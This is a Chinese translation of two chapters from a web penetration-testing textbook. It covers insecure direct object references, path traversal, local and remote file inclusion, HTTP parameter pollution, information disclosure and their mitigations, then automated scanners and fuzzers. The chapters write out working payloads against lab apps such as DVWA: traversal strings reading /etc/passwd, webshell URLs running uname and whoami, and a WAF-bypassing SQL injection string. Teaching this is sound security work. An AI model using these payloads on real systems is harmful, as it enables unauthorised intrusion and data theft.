在本章中,我们将介绍一组常见的漏洞,这些漏洞通常存在于 Web 应用程序中,有时会逃脱开发人员和安全测试人员的关注,不是因为它们是未知的(实际上,有些在OWASP Top 10中),而是因为它们在现实世界的应用程序中的影响有时被低估,或者因为 SQL 注入和 XSS 等漏洞由于对用户信息的直接影响而更为重要。本章涵盖的漏洞如下:

  • 不安全的直接对象引用

  • 文件包含漏洞

  • HTTP 参数污染

  • 信息泄露

不安全的直接对象引用

不安全的直接对象引用漏洞发生在应用程序从服务器请求资源(可以是文件、函数、目录或数据库记录)时,通过其名称或其他标识符,并允许用户直接篡改该标识符以请求其他资源。

让我们以 Mutillidae II 为例(导航到 OWASP Top 10 2013 | A4 - 不安全的直接对象引用 | 源代码查看器)。这个练习涉及一个源代码查看器,它从下拉框中选择一个文件名并在查看器中显示其内容:

如果您在 Burp Suite 或任何代理中检查请求,您会发现它有一个phpfile参数,其中包含要查看的文件名:

您可以尝试拦截该请求,将文件名更改为列表中没有的文件名,但您知道它存在于服务器上,例如passwords/accounts.txt(您可以使用互联网搜索默认配置文件或安装在 Web 服务器和某些应用程序上的相关代码):

由于应用程序直接引用文件名,您可以更改参数以使应用程序显示不打算查看的文件。

Web 服务中的直接对象引用

Web 服务,特别是 REST 服务,通常使用 URL 中的标识符引用数据库元素。如果这些标识符是连续的,并且授权检查没有正确执行,那么只需增加或减少标识符就可以枚举所有元素。

例如,假设我们登录到银行应用程序,然后调用 API 请求我们的个人资料。此请求看起来类似于以下内容:

https://bankingexample.com/client/234752879  

信息以 JSON 格式返回,格式化并显示在客户端的浏览器上:

{ 
  "id": "234752879", 
  "client_name": "John", 
  "client_surname": "Doe", 
  "accounts": [{"acc_number":"123456789","balance":1000}, 
   {"acc_number":"123456780","balance":10000}] 
} 

如果我们在请求中递增客户端 ID,并且服务器上没有正确检查授权权限,我们可能会获取银行的另一个客户的信息。这可能是一个重大问题,因为这个应用程序处理如此敏感的数据。Web 服务应该只允许在适当的身份验证后访问,并始终在服务器端执行授权检查;否则,有人使用直接对象引用访问敏感数据的风险。不安全的直接对象引用是 Web 服务中令人担忧的主要原因,在渗透测试 RESTful Web 服务时应将其置于首要位置。

路径遍历

如果一个应用程序使用客户端提供的参数来构建文件的路径,并且进行了适当的输入验证和访问权限检查,攻击者可以更改文件的名称和/或在文件名前添加路径以检索不同的文件。这被称为路径遍历或目录遍历。大多数 Web 服务器已经被锁定以防止这种类型的攻击,但应用程序仍然需要在直接引用文件时验证输入。

用户应该被限制只能浏览 Web 根目录,不能访问 Web 根目录上方的任何内容。恶意用户将寻找指向 Web 根目录之外的文件的直接链接,其中最有吸引力的是操作系统的根目录。

基本的路径遍历攻击使用../序列通过 URL 修改资源请求。在操作系统中,../表达式用于向上移动一个目录。攻击者必须猜测移动和超出 Web 根目录所需的目录数量,这可以通过试错法轻松完成。如果攻击者想要向上移动三个目录,则必须使用../../../

让我们使用 DVWA 来考虑一个例子:我们将使用“文件包含”练习来演示路径遍历。当页面加载时,您会注意到 URL 中有一个page参数,其值为include.php,这显然是按名称加载文件:

如果您访问该 URL,您会发现加载include.php文件的页面位于应用程序的根目录(/vulnerabilities/fi/)下两个级别,服务器的根目录(dvwa/vulnerabilities/fi/)下三个级别。如果您将文件名替换为../../index.php,您将上升两个级别,然后显示 DVWA 的主页:

您可以尝试逃离 Web 服务器根目录以访问操作系统中的文件。在 GNU / Linux 上,默认情况下,Apache Web 服务器的根目录位于/var/www/html。如果您在先前的输入中添加三个更多级别,您将引用操作系统的根目录。通过将page参数设置为../../../../../etc/passwd,您将能够读取包含底层操作系统上用户信息的文件:

在基于 Unix 的系统中,/etc/passwd 路径是测试路径遍历的一个确定赌注,因为它始终存在并且可以被所有人读取。如果您正在测试 Windows 服务器,您可以尝试以下操作:

../../../../../autoexec.bat
../../../../../boot.ini
../../../../../windows/win.ini

文件包含漏洞

在 Web 应用程序中,开发人员可以包含存储在远程服务器上的代码或存储在本地服务器上的文件中的代码。引用不在 Web 根目录中的文件主要用于将常见代码合并到稍后可以由主应用程序引用的文件中。

当一个应用程序使用输入参数来确定要包含的文件的名称时,它就容易受到文件包含的攻击;因此,用户可以设置之前上传到服务器的恶意文件的名称(本地文件包含)或另一个服务器上的文件的名称(远程文件包含)。

本地文件包含

本地文件包含LFI)漏洞中,服务器上的本地文件被include函数访问而没有进行适当的验证;也就是说,包含了包含服务器代码的文件,并在页面中执行了它们的代码。对于开发人员来说,这是一个非常实用的功能,因为他们可以重用代码并优化资源。问题出现在使用用户提供的参数来选择要包含的文件时,以及进行不充分或没有验证。许多人将 LFI 缺陷与路径遍历缺陷混淆。尽管 LFI 缺陷通常表现出与路径遍历缺陷相同的特征,但应用程序对待这两种缺陷的方式是不同的。对于路径遍历缺陷,应用程序只会读取和显示文件的内容。对于 LFI 缺陷,应用程序不会显示内容,而是将文件包含为解释代码的一部分(构成应用程序的网页)并执行它。

在之前解释的路径遍历漏洞中,我们使用了 DVWA 的文件包含练习,并且当我们将../../index.php作为参数使用时,index.php页面被解释为代码执行了一个 LFI。然而,包含已经存在于服务器上并为应用程序提供合法目的的文件通常不会构成安全风险,除非非特权用户能够包含一个管理页面。在服务器上的所有页面都是无害的情况下,作为渗透测试人员,您如何证明存在安全问题,允许包含本地文件?您需要上传一个恶意文件并使用它进一步利用 LFI。

我们将上传的恶意文件是一个 webshell,它是一个在服务器上运行的脚本,可以让我们远程执行操作系统命令。Kali Linux 在/usr/share/webshells目录中包含了一系列的 webshell。在这个练习中,我们将使用simple-backdoor.php/usr/share/webshells/php/simple-backdoor.php)。

进入 DVWA 的文件上传练习,并上传文件。注意文件上传时显示的相对路径:

如果上传脚本位于/dvwa/vulnerabilities/upload/,相对于 Web 服务器根目录,根据显示的相对路径,文件应该上传到/dvwa/hackable/uploads/simple-backdoor.php。现在返回到文件包含练习,将page参数更改为../../hackable/uploads/simple-backdoor.php

好的,诚然我们没有得到一个惊人的结果。让我们检查一下 webshell 的代码:

您需要向 webshell 传递一个带有要执行的命令的参数,但在文件包含中,被包含文件的代码与包含它的文件集成在一起,所以您不能只是按照使用说明添加?cmd=command。相反,您需要添加一个cmd参数,就像将其发送给包含页面一样:

http://10.7.7.5/dvwa/vulnerabilities/fi/?page=../../hackable/uploads/simple-backdoor.php&cmd=uname+-a

您还可以使用;(分号)作为分隔符,在单个调用中链接多个命令:

http://10.7.7.5/dvwa/vulnerabilities/fi/?page=../../hackable/uploads/simple-backdoor.php&cmd=uname+-a;whoami;/sbin/ifconfig

远程文件包含

远程文件包含RFI)是一种攻击技术,利用应用程序允许从其他服务器包含文件的机制。这可能导致应用程序被欺骗以在攻击者控制的远程服务器上运行脚本。

RFI 的工作方式与 LFI 完全相同,唯一的区别是使用完整的 URL 而不是文件的相对路径,如下所示:

http://vulnerable_website.com/preview.php?script=http://example.com/temp  

现代 Web 服务器默认禁用包括文件(尤其是外部文件)的功能。然而,有时应用程序或业务的要求会使开发人员启用此功能。随着时间的推移,这种情况发生的频率越来越少。

HTTP 参数污染

HTTP 允许在GETPOST方法中使用相同名称的多个参数。HTTP 标准既不解释也没有规定如何解释具有相同名称的多个输入参数 - 是接受变量的最后出现还是第一次出现,或者将变量用作数组。

例如,以下POST请求符合标准,即使item_id变量的值为num1num2

item_id=num1&second_parameter=3&item_id=num2  

尽管根据 HTTP 协议标准,不同的 Web 服务器和开发框架处理多个参数的方式各不相同。处理多个参数的未知过程经常导致安全问题。这种意外行为被称为HTTP 参数污染。下表显示了主要 Web 服务器中的 HTTP 重复参数行为:

框架/ Web 服务器 结果动作 示例
ASP.NET/IIS 所有出现的参数用逗号连接 item_id=num1,num2
PHP/Apache 最后出现 item_id=num2
JSP/Tomcat 第一次出现 item_id=num1
IBM HTTP 服务器 第一次出现 item_id=num1
Python 所有出现的参数组合成一个列表(数组) item_id=['num1','num2']
Perl/Apache 第一次出现 item_id=num1

想象一种情况,Tomcat 服务器位于基于 Apache 和 PHP 的Web 应用程序防火墙WAF)后面,攻击者在请求中发送以下参数列表:

item_id=num1'+or+'1'='1&second_parameter=3&item_id=num2  

WAF 将采用参数的最后出现并确定它是一个合法的值,而 Web 服务器将采用第一个出现的值,如果应用程序容易受到 SQL 注入攻击,攻击将成功,绕过 WAF 提供的保护。

信息泄露

使用 Web 应用程序的目的是允许用户访问信息并执行任务。然而,并不是每个用户都应该能够访问所有数据,并且有关应用程序、操作系统和用户的一些信息,攻击者可以利用这些信息来获取知识并最终访问应用程序的经过身份验证的功能。

为了使用户与应用程序的交互更友好,开发人员有时可能会发布过多的信息。此外,在它们的默认安装中,Web 开发框架被预配置为显示和突出显示它们的功能,而不是为了安全。这就是为什么很多时候这些默认配置选项会一直保持活动状态,直到框架的正式发布,从而暴露可能构成安全风险的信息和功能。

让我们来看一些可能带来安全风险的信息泄露示例。在下面的截图中,您可以看到一个名为phpinfo.php的页面。这个页面有时会默认安装在 Apache/PHP 服务器上,它提供了关于底层操作系统、Web 服务器的活动模块和配置以及更多详细信息:

您还会发现客户端源代码中使用了描述性注释的情况。以下是一个极端的例子。在现实世界的应用程序中,您可能能够找到有关应用程序逻辑和功能的详细信息,这些信息仅仅被注释掉了:

在下一个截图中,您可以看到 Web 应用程序中一个相当常见的问题。这个问题经常被开发人员、安全人员和风险分析师低估。它涉及一个过于冗长的错误消息,显示了调试跟踪、错误的文件名和行号等等。这可能足以让攻击者识别操作系统、Web 服务器版本、开发框架、数据库版本和文件结构,并获取更多信息:

在最后一个示例中,身份验证令牌存储在 HTML5 会话存储中。请记住,通过 JavaScript 可以访问此对象,这意味着如果存在 XSS 漏洞,攻击者将能够劫持用户的会话:

缓解措施

现在我们将讨论如何预防或缓解前面部分中解释的漏洞。简而言之,我们将执行以下操作:

  • 遵循最小特权原则

  • 验证所有输入

  • 检查/加固服务器配置

不安全的直接对象引用

始终优先使用间接引用。使用非连续的数字标识符引用允许的对象表,而不是允许用户直接使用对象的名称。

对从浏览器接收到的数据进行适当的输入验证和清理将防止路径遍历攻击。应用程序的开发人员在进行文件系统调用时应注意接受用户输入。如果可能,应避免这样做。chroot 监狱涉及将应用程序的根目录与操作系统的其余部分隔离开来,这是一种很好的缓解技术,但可能难以实现。

对于其他类型的直接对象引用,必须遵循最小特权原则。用户只能访问他们正常操作所需的信息,并且必须对用户发出的每个请求进行授权验证。当请求任何其配置文件或角色不应查看或访问的信息时,他们应收到错误消息或未经授权的响应。

WAFs 也可以阻止此类攻击,但它们应与其他缓解技术一起使用。

文件包含攻击

在设计层面上,应用程序应尽量减少用户输入对应用程序流程的影响。如果应用程序依赖用户输入进行文件包含,应选择间接引用而不是直接引用。例如,客户端提交一个对象 ID,然后在包含有效文件列表的服务器端目录中搜索该 ID。应进行代码审查以查找包含文件的函数,并进行检查以分析是否对从用户接收到的数据进行适当的输入验证以对数据进行清理。

HTTP 参数污染

在这种漏洞中,应用程序未执行适当的输入验证,导致覆盖硬编码的值。白名单预期参数及其值应包含在应用程序逻辑中,并对用户输入进行清理。应使用能够跟踪变量的多个出现并已调整以理解该缺陷的 WAF 来处理过滤。

信息泄露

在发布到生产环境之前,必须彻底审查服务器配置。应删除任何不是应用程序功能所必需的多余文件或文件,以及可能泄露相关信息的所有服务器响应头,例如以下内容:

  • 服务器

  • X-Powered-By

  • X-AspNet-Version

  • 版本

总结

在本章中,我们回顾了一些可能逃避 XSS、SQL 注入和其他常见漏洞的 Web 应用程序中的漏洞。作为渗透测试人员,您需要知道如何识别、利用和缓解漏洞,以便能够找出它们并为客户提供适当的建议。

我们开始本章时介绍了不安全的直接对象引用的广义概念及其一些变体。然后我们转向文件包含漏洞,它是一种特殊类型的不安全的直接对象引用,但它本身代表了一个分类类别。我们对 LFI 进行了练习,并解释了远程版本。

之后,我们回顾了不同服务器如何处理请求中的重复参数,以及攻击者如何通过 HTTP 参数污染利用这一点。

接下来,我们研究了信息披露,并回顾了提供的示例,说明应用程序如何向用户呈现过多的信息,以及恶意代理如何利用这些信息来收集信息或进一步为攻击做准备。

最后,我们还介绍了一些对前面漏洞的缓解建议。大部分缓解技术依赖于服务器的正确配置和应用程序代码的严格输入验证。

到目前为止,我们一直在手动进行所有的测试和利用,这是进行安全测试和学习的最佳方式。然而,有些情况下我们需要在短时间内覆盖大范围,或者客户要求使用一些扫描工具,或者我们只是不想错过任何低风险的漏洞;在下一章中,我们将学习 Kali Linux 中包含的自动化漏洞扫描器和模糊测试工具,这些工具将帮助我们应对这些情况。

第十一章:在 Web 应用程序上使用自动化扫描器

到目前为止,您已经学习了如何通过逐个测试参数或请求来查找和利用 Web 应用程序中的漏洞。尽管这是发现安全漏洞的最佳方法,特别是与应用程序内部信息流相关的漏洞或与业务逻辑和授权控制相关的漏洞,但在专业渗透测试中,有些项目由于时间、范围或数量的原因无法通过手动测试完全解决,需要使用帮助加速发现漏洞过程的自动化工具。

在本章中,我们将讨论在 Web 应用程序上使用自动化漏洞扫描器时需要考虑的方面。您还将了解 Kali Linux 中包含的扫描器和模糊测试工具以及如何使用它们。

在使用自动化扫描工具之前的考虑事项

Web 应用程序漏洞扫描器的操作方式与其他类型的扫描器(如 OpenVAS 或 Nessus)略有不同。后者通常连接到主机上的端口,获取运行在这些端口上的服务的类型和版本,然后将此信息与其漏洞数据库进行比对。相反,Web 应用程序扫描器会识别应用程序页面中的输入参数,并在每个参数上提交大量请求,探测不同的有效负载。

由于以这种方式操作,自动化扫描几乎肯定会在数据库中记录信息,生成活动日志,修改现有信息,并且如果应用程序具有删除或恢复功能,甚至可能擦除数据库。

以下是渗透测试人员在将 Web 漏洞扫描器作为测试手段之前必须考虑的关键因素:

  • 检查范围和项目文档,确保允许使用自动化工具。

  • 在专门为此目的设置的环境中进行测试(QA、开发或测试)。仅在客户明确要求的情况下使用生产环境,并让他们知道存在损坏数据的固有风险。

  • 更新工具的插件和模块,以使结果与最新的漏洞披露和技术保持同步。

  • 在启动扫描之前检查扫描工具的参数和范围。

  • 将工具配置到最高级别的日志记录。日志将在任何事件发生时非常有用,以及用于验证结果和报告。

  • 不要让扫描器无人看管。您不需要盯着进度条,但应不断检查扫描器的运行情况和被测试服务器的状态。

  • 不要依赖单一工具-有时不同的工具会对相同类型的测试产生不同的结果。当一个工具错过了一些漏洞时,另一个工具可能会找到它,但会错过其他东西。因此,如果您在测试范围内使用自动化扫描工具,请使用多个工具,并考虑使用商业产品,如 Burp Suite Professional 或 Acunetix。

Kali Linux 中的 Web 应用漏洞扫描器

Kali Linux 包括多个用于自动化扫描 Web 应用程序漏洞的工具。我们已经检查了其中一些,特别是那些专注于特定漏洞的工具,如用于 SQL 注入的 sqlmap 或用于跨站脚本(XSS)的 XSSer。

接下来,我们将介绍这里列出的一些更通用的 Web 漏洞扫描器的基本用法:

  • Nikto

  • Skipfish

  • Wapiti

  • OWASP-ZAP

Nikto

长期以来的经典之作,Nikto可能是世界上使用最广泛、最知名的网络漏洞扫描器。尽管它的扫描操作不是很深入,其发现结果有些通用(主要与过时的软件版本、使用的易受攻击的组件或通过分析响应头检测到的配置错误有关),但 Nikto 仍然是一个非常有用的工具,因为它拥有广泛的测试集和低破坏性的特点。

Nikto 是一个命令行工具。在下面的截图中,使用nikto命令和参数-h指定要扫描的主机或 URL,-o指定输出文件。文件的扩展名确定报告的格式。其他常见的格式有.csv(逗号分隔文件)和.txt(文本文件):

有关使用nikto的更多详细信息和其他选项,请使用-H选项运行它以获取完整的帮助。

现在让我们看看上次扫描的报告是什么样子的:

根据这两个屏幕截图,您可以看到 Nikto 识别出了服务器版本和响应头中的一些问题。特别是,一个 IP 地址泄露了一些保护头的缺失,比如X-Frame-OptionsX-XSS-Protection,以及会话 cookie 不包含HttpOnly标志。这意味着它可以通过脚本代码检索到。

Skipfish

Skipfish是一个非常快速的扫描器,可以帮助识别以下漏洞:

  • 跨站脚本攻击

  • SQL 注入

  • 命令注入

  • XML/XPath 注入

  • 目录遍历和文件包含

  • 目录列表

根据其 Google Code页面(code.google.com/p/skipfish/):

Skipfish 是一款主动的网络应用安全侦察工具。它通过递归爬行和基于字典的探测来为目标站点准备一个交互式站点地图。然后,该地图会被一些主动的(但希望不会造成破坏的)安全检查的输出进行注释。该工具生成的最终报告旨在作为专业网络应用安全评估的基础。

使用 Skipfish 非常简单。您只需要提供要扫描的 URL 作为参数。可选地,您可以添加输出文件并对扫描进行微调。要在测试虚拟机中运行 Skipfish 并生成 HTML 报告,请使用以下命令:

skipfish -o WebPentest/skipfish_result -I WackoPicko http://10.7.7.5/WackoPicko/  

-o选项指示报告存储的目录。-I选项告诉 Skipfish 只扫描包含字符串WackoPicko的 URL,排除虚拟机中的其他应用程序。最后一个参数是您希望扫描开始的 URL。

当启动命令时,会出现一个信息屏幕。您可以按任意键或等待 60 秒开始扫描。一旦扫描开始,将显示以下状态屏幕:

当扫描完成时,会显示如下的摘要屏幕:

此外,一旦扫描完成,报告将准备好在指定的文件夹中。以下截图显示了 Skipfish 报告的样子:

报告显示了 Skipfish 在高风险(红点)到低风险(橙点)的顺序中识别出的漏洞。例如,Skipfish 在登录页面中识别出了一个 SQL 注入漏洞,查询注入向量,被扫描器评为高风险。它还识别出了一个目录遍历或文件包含和一个可能的 XSS 漏洞,被评为中风险,等等。

Wapiti

Wapiti是一个活跃维护的基于命令行的网络漏洞扫描工具。Wapiti 3.0 版本于 2018 年 1 月发布(wapiti.sourceforge.net/);然而,Kali Linux 仍然包含先前版本(2.3.0)。根据 Wapiti 网站的介绍,该工具包括检测以下漏洞的模块:

  • 文件泄露(本地和远程包含/引用,fopenreadfile...)

  • 数据库注入(PHP/JSP/ASP SQL 注入和 XPath 注入)

  • XSS(跨站脚本)注入(反射和永久)

  • 命令执行检测(eval()system()passtru()...)

  • CRLF 注入(HTTP 响应拆分,会话固定...)

  • XXE(XML 外部实体)注入

  • 使用已知的潜在危险文件(感谢 Nikto 数据库)

  • 可以绕过的弱.htaccess配置

  • 存在备份文件,提供敏感信息(源代码泄露)

  • Shellshock(又名 Bash 漏洞)

要启动 Wapiti,您需要在命令行中输入launch命令,然后输入要扫描的 URL 和选项。

在下面的屏幕截图中,Wapiti 在易受攻击的虚拟机上通过 HTTPS 站点运行,生成报告存储在wapiti_output目录中(使用-o选项)。您可以跳过 SSL 证书验证,因为测试虚拟机具有自签名证书。如果不进行此类验证,Wapiti 将停止扫描,因此使用--verify-ssl 0来绕过验证。您不应发送超过 50 个相同请求的变体(使用-n选项)。这样做是为了防止循环。最后,使用2> null来防止标准错误输出过多,因为扫描器将发送多个具有非预期值的请求,而 Wapiti 可能会非常冗长:

wapiti https://10.7.7.5/bodgeit/ -o wapiti_output --verify-ssl 0 -n 20 2>null 

然后您将在屏幕上看到以下输出:

扫描需要一些时间。完成后,打开指定目录中的index.html文件以查看结果。以下是 Wapiti 报告漏洞的示例:

Wapiti 的报告非常详细,包括每个发现的描述,用于触发潜在漏洞的请求,建议的解决方案以及获取有关这些信息的参考资料。在前面的屏幕截图中,您可以看到它在 BodgeIt 的搜索页面中发现了 XSS 漏洞。

OWASP-ZAP 扫描器

在 OWASP-ZAP 的众多功能中,有一个主动漏洞扫描器。在这种情况下,“主动”意味着扫描器会主动向服务器发送精心设计的请求,而不是被动扫描器,后者仅通过代理分析 Web 服务器发送的请求和响应,而正常浏览应用程序。

要使用扫描器,您需要右键单击要扫描的站点或目录,然后选择攻击 | 主动扫描...:

主动扫描器不会对所选目标进行任何爬行或蜘蛛行为。因此,建议您在设置代理的同时手动浏览目标站点,或在扫描目录或主机之前运行蜘蛛。

在主动扫描对话框中,您可以选择目标,是否要进行递归扫描,以及如果启用高级选项,可以选择扫描策略、攻击向量、目标技术和其他选项:

单击“开始扫描”后,主动扫描选项卡将获得焦点,并且扫描进度和请求日志将显示在其中:

扫描结果将记录在警报选项卡中:

此外,使用主菜单中的报告,您可以将结果导出为 HTML、XML、Markdown 或 JSON 等多种格式。以下屏幕截图显示了 HTML 报告的外观:

OWASP-ZAP 还按风险级别对其扫描结果进行排序,并包括对发现的问题的详细描述、使用的有效负载、解决方案建议和参考资料。

Burp Suite 在其专业版中也有一个主动扫描器,可以提供非常准确的结果,并且误报率很低。

内容管理系统扫描器

内容管理系统CMS),如 WordPress、Joomla 或 Drupal,是用于创建网站的框架,几乎不需要编程。它们集成了第三方插件,以简化诸如登录和会话管理、搜索甚至包括完整购物车模块等任务。

因此,CMS 不仅在其自身的代码中容易受到攻击,而且在其包含的插件中也容易受到攻击。后者不受一致的质量控制,并且通常由独立程序员在业余时间制作,根据自己的时间表发布更新和补丁。

因此,我们现在将介绍一些最受欢迎的 CMS 漏洞扫描工具。

WPScan

WPScan正如其名称所示,是一个专注于 WordPress CMS 的漏洞扫描工具。它将识别 WordPress 的版本号和已安装插件的版本号,然后将它们与已知漏洞的数据库进行匹配,以确定可能的安全风险。

下图显示了 WPScan 的基本用法,只需将目标 URL 作为参数添加即可:

首次运行时,您可能需要使用--update选项更新数据库。

JoomScan

JoomScan是包含在 Kali Linux 中的用于 Joomla 网站的漏洞扫描工具。要使用它,只需添加-u选项,后跟站点的 URL,如下所示:

joomscan -u http://10.7.7.5/joomla  

JoomScan 首先尝试通过检测 Joomla 版本和插件来识别服务器,如下图所示:

之后,JoomScan 将显示与检测到的配置或已安装插件相关的漏洞:

CMSmap

CMSmap未包含在 Kali Linux 中,但可以从其 Git 存储库轻松安装,如下所示:

git clone https://github.com/Dionach/CMSmap.git 

CMSmap 用于扫描 WordPress、Joomla 或 Drupal 网站的漏洞。它具有自动检测站点使用的 CMS 的能力。它是一个命令行工具,您需要使用-t选项指定目标站点。CMSmap 显示它找到的漏洞,并在前面加上一个指示严重程度的标识:[I]表示信息,[L]表示低,[M]表示中,[H]表示高,如下图所示:

在截图中使用的--noedb选项可以防止 WordPress 在 Exploit Database(www.exploit-db.com/)中寻找已识别漏洞的利用程序,因为我们的 Kali Linux 虚拟机未连接到互联网。尝试连接到外部服务器将导致错误和获取结果的延迟。

模糊测试 Web 应用程序

模糊测试是一种测试机制,通过常规输入将特制的(或随机的,取决于模糊测试的类型)数据发送到软件实现中。实现可以是 Web 应用程序、厚客户端或运行在服务器上的进程。它是一种黑盒测试技术,以自动化方式注入数据。尽管模糊测试主要用于安全测试,但也可用于功能测试。

从前面的定义中,人们可能认为模糊测试与任何漏洞扫描是相同的。是的,模糊测试是漏洞扫描过程的一部分,还可以涉及指纹识别和 Web 应用程序的爬行以及响应分析,以确定是否存在漏洞。

有时,我们需要将模糊测试从扫描过程中分离出来,单独执行,这样我们就可以决定测试输入并分析测试结果,而不是由扫描器来决定。这样,我们可以更好地控制将哪些参数中的测试值发送到服务器。

使用 OWASP-ZAP 模糊器

OWASP-ZAP 模糊器可以从站点地图、代理历史或请求面板中运行,只需右键单击要模糊的请求,然后选择 Attack | Fuzz...,如下图所示:

在执行此操作后,模糊测试对话框将出现,您可以在其中选择插入点;也就是说,您想要尝试不同值以分析服务器响应的请求的部分。在下面的示例中,我们选择了 OWASP BWA 易受攻击的虚拟机中 BodgeIt 的搜索中的q参数的值:

请注意,已经添加了两个有效负载列表。要做到这一点,选择要模糊测试的文本,本例中为q的值,并单击右侧的"添加..."(在模糊测试位置选项卡中)以显示有效负载对话框。然后在该对话框中单击"添加..."。您将从文件/usr/share/wfuzz/wordlist/injections/SQL.txt中获取第一个有效负载列表。

该文件包含将帮助识别 SQL 注入漏洞的模糊测试字符串。在有效负载类型中选择文件,单击"选择...",然后浏览到要加载的文件,如下面的截图所示。然后单击"添加"将该列表添加到模糊测试器中:

接下来,使用第二个有效负载来测试 XSS。这次您将使用文件模糊测试器作为类型。这是 OWASP-ZAP 默认包含的一组模糊测试字符串。从这些模糊测试器中,从 JbroFuzz | XSS 中选择一些 XSS 列表:

OWASP-ZAP 中可用于模糊测试字符串的其他选项如下:

  • 空/空值:此选项提交原始值(无更改)

  • 数字:此选项生成一系列数字,允许您定义起始值、结束值和增量

  • 正则表达式:此选项生成与给定正则表达式匹配的一定数量的字符串

  • 脚本:此选项允许您使用脚本(从"工具" | "选项..." | "脚本"加载)生成有效负载

  • 字符串:此选项显示手动提供的简单字符串列表

一旦选择了所有插入点及其相应的模糊测试输入,您可以通过点击"开始模糊测试"来启动模糊测试器。然后,模糊测试器选项卡将显示在底部面板中。

在下一个截图中,您可以看到模糊测试的结果。状态列显示了工具进行的初步诊断,指示此类请求导致可利用的漏洞的可能性有多大。请注意示例中的单词"Reflected"。这意味着模糊测试器发送的字符串已作为响应的一部分由服务器返回。我们知道这是 XSS 的字符串指示器:

为了进一步探索在模糊测试器选项卡中显示的结果中是否存在可利用的漏洞,您可以选择任何请求及其头部和正文。相应的响应将显示在中央面板中的相关部分。响应将突出显示可疑字符串。这样,您可以一眼看出是否存在漏洞,以及该特定测试用例是否值得进一步挖掘。如果是这种情况,您可以右键单击请求并选择"使用请求编辑器打开/重新发送"来启动请求编辑器并操作和重新发送请求。

进一步调查您认为可能导致利用的请求的另一个选项是在浏览器中重放该请求,以便您可以查看其行为和服务器的响应。要做到这一点,右键单击请求,选择"在浏览器中打开 URL",然后选择您首选的浏览器。这将打开浏览器并使其提交所选的请求:

Burp Intruder

您已经在前几章中使用了 Intruder 进行各种任务,并且您已经意识到它的强大和灵活性。现在我们将使用它来对 BodgeIt 登录页面进行模糊测试,以寻找 SQL 注入漏洞。您需要做的第一件事是将有效的登录请求从代理历史发送到 Intruder。这可以通过右键单击请求并选择"发送到 Intruder"来完成。

进入 Intruder 后,你将清除所有插入点,并在用户名值中添加一个插入点,如下图所示:

下一步是设置负载。为此,转到负载选项卡,点击“加载...”加载一个文件,并转到/usr/share/wfuzz/wordlist/injections/SQL.txt

接下来,为了更容易识别有趣的请求,你将添加一些匹配规则,这样你就可以从攻击对话框中判断一个请求是否导致错误或包含有趣的词语。在选项中的 Grep - Match 部分添加以下术语:

  • error:当你想知道输入触发错误时,添加这个将很有用,因为基本的 SQL 注入在修改查询语法时会显示错误消息

  • SQL:如果错误消息不包含单词error,你希望在输入触发包含单词SQL的响应时得到通知

  • table:当你期望读取包含表名的 SQL 详细错误消息时添加

  • select:在有 SQL 语句泄露的情况下添加这个

上述术语列表绝不是用于响应匹配的最佳列表。它仅供演示目的。在实际情况中,人们会首先手动分析应用程序给出的实际响应,然后选择与上下文和所寻找的漏洞相匹配的术语。下面的截图显示了示例匹配列表的样子:

一旦所有攻击参数都配置好了,你就可以开始攻击了。error很快就开始匹配了。你可以看到每个响应都匹配了table,所以这不是一个好选择。至少在最初的响应中,SQLselect没有匹配。如果你选择一个已经勾选了error的响应,你会看到页面顶部有一个“系统错误”的消息,这似乎是在负载包含单引号时触发的。

这可能是 SQL 注入的一个指标,值得进一步挖掘一下:

为了查看如果从浏览器中执行此请求,它会在 Burp Suite 的任何组件的每个请求或响应中的行为,你可以右键单击并选择“在浏览器中请求”。你可以选择是否要使用原始会话(发送请求的会话 cookie)或当前会话(浏览器当前拥有的会话 cookie):

当你将请求从 Burp Suite 发送到浏览器时,你会得到一个以http://burp/repeat/开头的 URL,你需要将其复制并粘贴到要重放请求的浏览器中。Burp Suite 不像 ZAP 那样启动浏览器:

下面的截图显示了示例中的请求在浏览器中的显示方式。它明显看起来不应该有“系统错误”的消息,你应该深入研究该请求,并手动尝试变体以获得 SQL 注入:

扫描后的操作

遗憾的是,提供渗透测试服务的公司往往只进行漏洞扫描,并在没有手动测试阶段的情况下定制和调整报告,而且没有验证扫描器发现的所谓漏洞是否真的存在。这不仅无法为客户提供任何价值,他们自己可以下载一个漏洞扫描器并对其应用程序进行扫描,而且还会损害公司对安全服务和安全公司的认知,使那些提供优质服务的人更难以以竞争性价格在市场上定位这些服务。

在扫描器生成扫描报告之后,您不能仅凭报告就说您发现了XY漏洞。因为扫描器总是会产生误报(即报告不存在的漏洞)和误报(例如扫描器错过的漏洞),所以您还必须进行手动测试,以便找到并报告自动化工具未覆盖的漏洞,例如授权问题、业务逻辑绕过或滥用等,以便验证扫描器报告的所有发现是否真正是漏洞。

总结

在本章中,我们讨论了在 Web 应用程序渗透测试中使用自动化漏洞扫描器的风险,以及在使用这些工具之前需要考虑的问题。

接下来,我们介绍了 Kali Linux 中包含的一些扫描器的使用,如 Nikto、Skipfish、Wapiti 和 OWASP-ZAP。我们还讨论了针对内容管理系统(如 WordPress、Joomla 和 Drupal)的专用扫描器。我们将模糊测试作为一种与扫描不同的技术进行了讨论。我们使用了 OWASP-ZAP 模糊测试器和 Burp Intruder 来测试单个输入上的多个输入。

最后,我们讨论了在自动化扫描或模糊测试完成后需要完成的一些任务。您需要验证扫描器的结果,以消除所有误报,并且需要手动测试应用程序,因为自动化扫描器无法找到某些漏洞。

通过本章,我们结束了本书。渗透测试是一个永远学习的领域。渗透测试人员需要跟上技术的步伐,尽管方法论在变化,但不应忘记旧的方法,因为如今的组织往往会使用过时的框架与先进的技术共存。

本书提供了对 Web 渗透测试的概述,方法论和技术的一般概述,以帮助您识别,利用和纠正 Web 应用程序中最常见的漏洞。您需要通过从不同的来源学习更多知识,进行研究,实践,然后再进行更多的实践来继续您的学习之旅。此外,了解其他领域,如开发,网络和操作系统,也是有利的,因为它可以让您将应用程序与其环境联系起来,并更好地评估其真正带来的风险。

除了本书提到的有价值的应用程序和其他可用的类似应用程序之外,公开的漏洞赏金计划,如 HackerOne(www.hackerone.com/)和 BugCrowd(www.bugcrowd.com/),是一个非常好的方式,让经验不足的测试人员通过测试真实应用程序来积累经验,并获得报酬。

我希望您,亲爱的读者,发现本书有趣且对您的目的有用,无论是为了了解 Web 应用程序安全以改进您的开发过程,还是为了追求渗透测试职业,或者作为一名经验丰富的渗透测试人员,以提高您的技能并扩展您的测试工具库。感谢您阅读本书。

posted @ 2024-05-03 21:40  绝不原创的飞龙  阅读(40)  评论(0编辑  收藏  举报